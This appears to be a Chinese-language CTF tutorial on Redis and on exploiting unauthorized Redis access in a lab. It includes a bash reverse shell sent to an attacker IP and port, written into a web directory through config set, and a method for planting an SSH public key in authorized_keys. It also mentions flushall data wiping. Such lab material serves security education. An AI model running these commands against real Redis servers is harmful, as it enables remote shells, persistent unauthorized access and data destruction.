CTF - WEB redis的簡介與利用
Redis是一個開源的使用ANSI C語言編寫、支援網路、可基於記憶體亦可持久化的日誌型、Key-Value資料庫,並提供多種語言的API。
Redis 是一個高效能的key-value資料庫。 redis的出現,很大程度補償了memcached這類key/value儲存的不足,在部 分場合可以對關係資料庫起到很好的補充作用。 --百度
Redis有著更為複雜的資料結構並且提供對他們的原子性操作,這是一個不同於其他資料庫的進化路徑。Redis的資料型別都是基於基本資料結構的同時對程式設計師透明,無需進行額外的抽象。
Redis執行在記憶體中但是可以持久化到磁碟,所以在對不同資料集進行高速讀寫時需要權衡記憶體,因為資料量不能大於硬體記憶體。在記憶體資料庫方面的另一個優點是,相比在磁碟上相同的複雜的資料結構,在記憶體中操作起來非常簡單,這樣Redis可以做很多內部複雜性很強的事情。同時,在磁碟格式方面他們是緊湊的以追加的方式產生的,因為他們並不需要進行隨機訪問。 --菜鳥教程
大概的意思就是這是一個數據庫,儲存在記憶體中,可以與磁碟互動,並且支援遠端連線。Redis因配置不當可以未授權訪問,攻擊者無需認證訪問到內部資料,可導致敏感資訊洩露,也可以惡意執行flushall來清空所有資料。
Redis在預設情況下,會繫結在0.0.0.0:6379
。如果沒有采取相關的安全策略,比如新增防火牆規則、避免其他非信任來源IP訪問等,這樣會使Redis服務完全暴露在公網上。如果在沒有設定密碼認證(一般為空)的情況下,會導致任意使用者在訪問目標伺服器時,可以在未授權的情況下訪問Redis以及讀取Redis的資料。攻擊者在未授權訪問Redis的情況下,利用Redis自身的提供的config命令,可以進行檔案的讀寫等操作。攻擊者可以成功地將自己的ssh公鑰寫入到目標伺服器的 /root/.ssh
資料夾下的authotrized_keys
漏洞可能產生的危害:
-
攻擊者無需認證訪問到內部資料,可能導致敏感資訊洩露,黑客也可以通過惡意執行
flushall
來清空所有資料 -
攻擊者可通過EVAL執行lua程式碼,或通過資料備份功能往磁碟寫入後門檔案
-
如果Redis以root身份執行,黑客可以給root賬戶寫入SSH公鑰檔案,直接通過SSH登入受害者伺服器
redis的安裝這裡就不多說了,以後可能會補充上來,下面是一些資料
安裝方式見:https://www.cnblogs.com/limit1/p/9045183.html
配置檔案引數說明:https://www.cnblogs.com/qq78292959/archive/2013/09/21/3331032.html
其詳細配置過程可以參見:https://www.cnblogs.com/kreo/p/4423362.html
需要了解的一些點:
去掉ip繫結,允許除本地外的主機遠端登入redis,編輯etc中的redis配置檔案redis.conf
[email protected]:~/Desktop/redis-3.2.11$ vim /etc/redis.conf
------
#blind 127.0.0.1
預設Redis會把快照檔案儲存為當前目錄下一個名為dump.rdb
的檔案。
dbfilename dump.rdb
關閉保護模式,允許遠端連線redis服務:
protected-mode no
使用當前redis.conf配置啟動redis服務
[email protected]:~/桌面/redis-3.2.11# redis-server /etc/redis.conf
//注意目錄 不在這個檔案下面 就要補全相應的目錄
二、安裝ssh服務
使用systemctl start sshd
命令啟動自帶的ssh服務,沒有的話就需要安裝了
嘗試service sshd start
命令,看有沒有安裝ssh:
fauked to start sshd.service: Unit sshd.service not found
如果出現上述結果,表示沒有安裝ssh服務,安裝方法如下:
sudo apt-get install openssh-server
再次執行以下命令確認ssh服務是否開啟:
ps -e | ssh
最後顯示:3228 ? 00:00:00 sshd說明ssh伺服器已啟用
三.實驗開始
首先需要做的就是,ipconfig查一下我們redis伺服器的ip。ipconfig一下就可以
那麼我們使用另外一個機器登陸一下
redis基本命令 連線redis:
redis-cli -h 192.168.93.128
檢視redis版本資訊、一些具體資訊、伺服器版本資訊等等:
192.168.93.128:6379>info
將變數x的值設為test:
192.168.93.128:6379>set x "test"
是把整個redis資料庫刪除,一般情況下不要用!!!
192.168.93.128:6379>flushall
檢視所有鍵:
192.168.93.128:6379>KEYS *
獲取預設的redis目錄、和rdb檔名:可以在修改前先獲取,然後走的時候再恢復。
192.168.93.128:6379>CONFIG GET dir
192.168.93.128:6379>CONFIG GET dbfilename
儲存資料到備份目錄
192.168.93.128:6379>save
四 常見入侵方法
- 清空資料庫,並使用config get dir命令得到redis備份的路徑
- 更改備份目錄為我們的目標目錄
- 建立資料庫的兼鍵值對,將資料庫中的資料寫入檔案(也就是儲存我們的命令,資料)
- 恢復相關目錄等,而後就可以操作我們的檔案了
1.建立反彈shellde的方法
[email protected]:~/Desktop/test# redis-cli -h 192.168.93.128
192.168.93.128:6379> set x "bash -i >& /dev/tcp/192.168.93.170/7999 0>&1\n"
OK
192.168.93.128:6379> config set dir /var/www/html/
OK
192.168.93.128:6379> config set dbfilename ncshell
OK
192.168.93.128:6379> save
OK
192.168.93.128:6379> exit
//nc監聽埠已經反彈回來shell
nc -lvnp 7999
2 ssh免密連線
- 思路大體為建立一個本地的公私鑰,密碼為空
- 將公鑰檔案寫入到伺服器ssh目錄
- 免密登入
建立ssh公私鑰
ssh-keygen -t rsa //會將結果在預設目錄
進入.ssh
目錄:cd .ssh/
,將生成的公鑰儲存到hack.txt
[email protected]:~/.ssh# (echo -e "\n\n";cat id_rsa.pub; echo -e "\n\n") > hack.txt
將hack.txt寫入redis
[email protected]:~/.ssh# cat hack.txt | redis-cli -h 192.168.152.133 -x set crack
OK
//當然我們也可以先連線 然後讀取檔案再寫入
//注意資料庫不為空的話 需要清空flushall
//接下來就是更改備份目錄,將我們的檔案寫入到ssh目錄下
//2. 建立ssh私鑰連線
[email protected]:~/Desktop/test# redis-cli -h 192.168.93.128
192.168.93.128:6379> config get dir
1) "dir"
2) "/home/python/.ssh"
//更改redis備份路徑為ssh公鑰存放目錄 這個就是看情況了
//一般預設為/root/.ssh,這沒有登入root使用者,那麼預設路徑是/home/使用者名稱/.ssh,所以不需要更改)
//設定上傳公鑰的備份檔名字為authorized_keys
192.168.93.128:6379> config set dbfilename authorized_keys
OK
192.168.93.128:6379> save
OK
192.168.93.128:6379> exit
直接免密登入
[email protected]:~/.ssh# ssh -i id_rsa [email protected]
可以成功登入了